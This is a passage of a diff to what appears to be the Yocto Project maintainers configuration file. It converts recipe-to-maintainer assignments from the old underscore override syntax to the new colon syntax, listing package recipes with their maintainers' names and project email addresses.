-RECIPE_MAINTAINER_pn-package-index = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pango = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-parted = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-patch = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-patchelf = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-pbzip2 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-pciutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-pcmanfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-perf = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-perl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-piglit = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pigz = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-pinentry = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-pixman = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-pkgconf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pkgconfig = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pm-utils = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pointercal-xinput = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-pong-clock = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-popt = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-powertop = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ppp = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-ppp-dialin = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-prelink = "Mark Hatle <mark.hatle@kernel.crashing.org>"
-RECIPE_MAINTAINER_pn-procps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-pseudo = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-psmisc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-psplash = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-ptest-runner = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pulseaudio = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-pulseaudio-client-conf-sato = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-puzzles = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-python3 = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-async = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-cython = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-dbus = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-dbusmock = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-docutils = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pycryptodome = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-pycryptodomex = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-extras = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-git = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-gitdb = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-iniparse = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-libarchive-c = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-magic = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-mako = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-nose = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-numpy = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pbr = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pip = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pycairo = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pyelftools = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-pygments = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pygobject = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pyparsing = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-scons = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-python3-scons-native = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-python3-setuptools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-six = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-smmap = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-subunit = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-testtools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-qemu = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-helper-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-system-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemuwrapper-cross = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-quilt = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-quilt-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-quota = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-re2c = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-readline = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-resolvconf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-rgb = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-rpcbind = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-rng-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-rpcsvc-proto = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-rpm = "Unassigned <unassigned@yoctoproject.org>"
-RECIPE_MAINTAINER_pn-rsync = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-rt-tests = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ruby = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-run-postinsts = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-rxvt-unicode = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-sato-screenshot = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-sbc = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-screen = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-sed = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-serf = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-setserial = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-settings-daemon = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-shadow = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shadow-securetty = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shadow-sysroot = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shared-mime-info = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-shutdown-desktop = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-signing-keys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-slang = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-socat = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-speex = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-speexdsp = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-sqlite3 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-squashfs-tools = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-startup-notification = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-strace = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-stress-ng = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-subversion = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-sudo = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-swig = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-sysfsutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-sysklogd = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-syslinux = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-sysstat = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-boot = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-bootchart = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-bootconf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-conf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-compat-units = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-serialgetty = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-systemctl-native = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemtap = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-systemtap-native = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-systemtap-uprobes = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-sysvinit = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-sysvinit-inittab = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-taglib = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tar = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-tcf-agent = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tcl = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-tcp-wrappers = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-testexport-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-texinfo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-texinfo-dummy-native = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tiff = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-time = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ttf-bitstream-vera = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tzcode-native = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-tzdata = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-u-boot = "Marek Vasut <marek.vasut@gmail.com>"
-RECIPE_MAINTAINER_pn-u-boot-tools = "Marek Vasut <marek.vasut@gmail.com>"
-RECIPE_MAINTAINER_pn-udev-extraconf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-unfs3 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-unifdef = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-uninative-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-unzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-update-rc.d = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-usbinit = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-usbutils = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-util-linux = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-util-macros = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-v86d = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-vala = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-valgrind = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-vim = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-vim-tiny = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-virglrenderer = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-volatile-binds = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-vte = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-demos = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-vulkan-headers = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-loader = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-waffle = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-watchdog = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-watchdog-config = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-wayland = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-wayland-protocols = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-webkitgtk = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-weston = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-weston-init = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-wget = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-which = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-wic-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-wireless-regdb = "Adrian Bunk <bunk@kernel.org>"
-RECIPE_MAINTAINER_pn-wpa-supplicant = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-wpebackend-fdo = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-x11perf = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-x264 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-xauth = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-proto = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-image = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-keysyms = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-renderutil = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-wm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcursor-transparent-theme = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xdg-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-xdpyinfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xeyes = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-evdev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-keyboard = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-libinput = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-mouse = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-synaptics = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-vmmouse = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-cirrus = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-fbdev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-intel = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-vesa = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-vmware = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xhost = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinetd = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-xinit = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinput = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinput-calibrator = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xkbcomp = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xkeyboard-config = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xmlto = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-xmodmap = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xorg-minimal-fonts = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xorgproto = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xprop = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xrandr = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xrestop = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-nodm-init = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-xf86-config = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-xorg = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xset = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xtrans = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xuser-account = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xvinfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xwininfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xz = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-zip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-zlib = "Denys Dmytriyenko <denys@ti.com>"
+RECIPE_MAINTAINER:pn-acl = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-acpica = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-acpid = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-adwaita-icon-theme = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-alsa-lib = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-plugins = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-state = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-tools = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-topology-conf = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-ucm-conf = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-utils = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-appstream = "Markus Volk <f_l_k@t-online.de>"
+RECIPE_MAINTAINER:pn-apr = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-apr-util = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-apt = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-argp-standalone = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-asciidoc = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-aspell = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-at = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-at-spi2-core = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-attr = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-autoconf = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-autoconf-archive = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-automake = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-avahi = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-babeltrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-babeltrace2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-baremetal-helloworld = "Alejandro Hernandez <alejandro@enedino.org>"
+RECIPE_MAINTAINER:pn-base-files = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-base-passwd = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bash = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-bash-completion = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bind = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-binutils = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-testsuite = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-bison = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-blktool = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-blktrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bluez5 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bmaptool = "Trevor Woerner <twoerner@gmail.com>"
+RECIPE_MAINTAINER:pn-boost = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-boost-build-native = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bootchart2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bsd-headers = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-btrfs-tools = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-build-appliance-image = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-build-sysroots = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-builder = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-extended-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-docs-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-make-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-busybox = "Andrej Valek <andrej.v@skyrain.eu>"
+RECIPE_MAINTAINER:pn-busybox-inittab = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-bzip2 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-ca-certificates = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-cairo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-cargo = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-cargo-c-native = "Frederic Martinsons <frederic.martinsons@gmail.com>"
+RECIPE_MAINTAINER:pn-cantarell-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ccache = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cdrtools-native = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-chrpath = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-cmake = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-cmake-native = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-connman = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-connman-conf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-connman-gnome = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-consolekit = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-core-image-base = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-initramfs-boot = "Ross Burton <ross.burton@arm.com>"
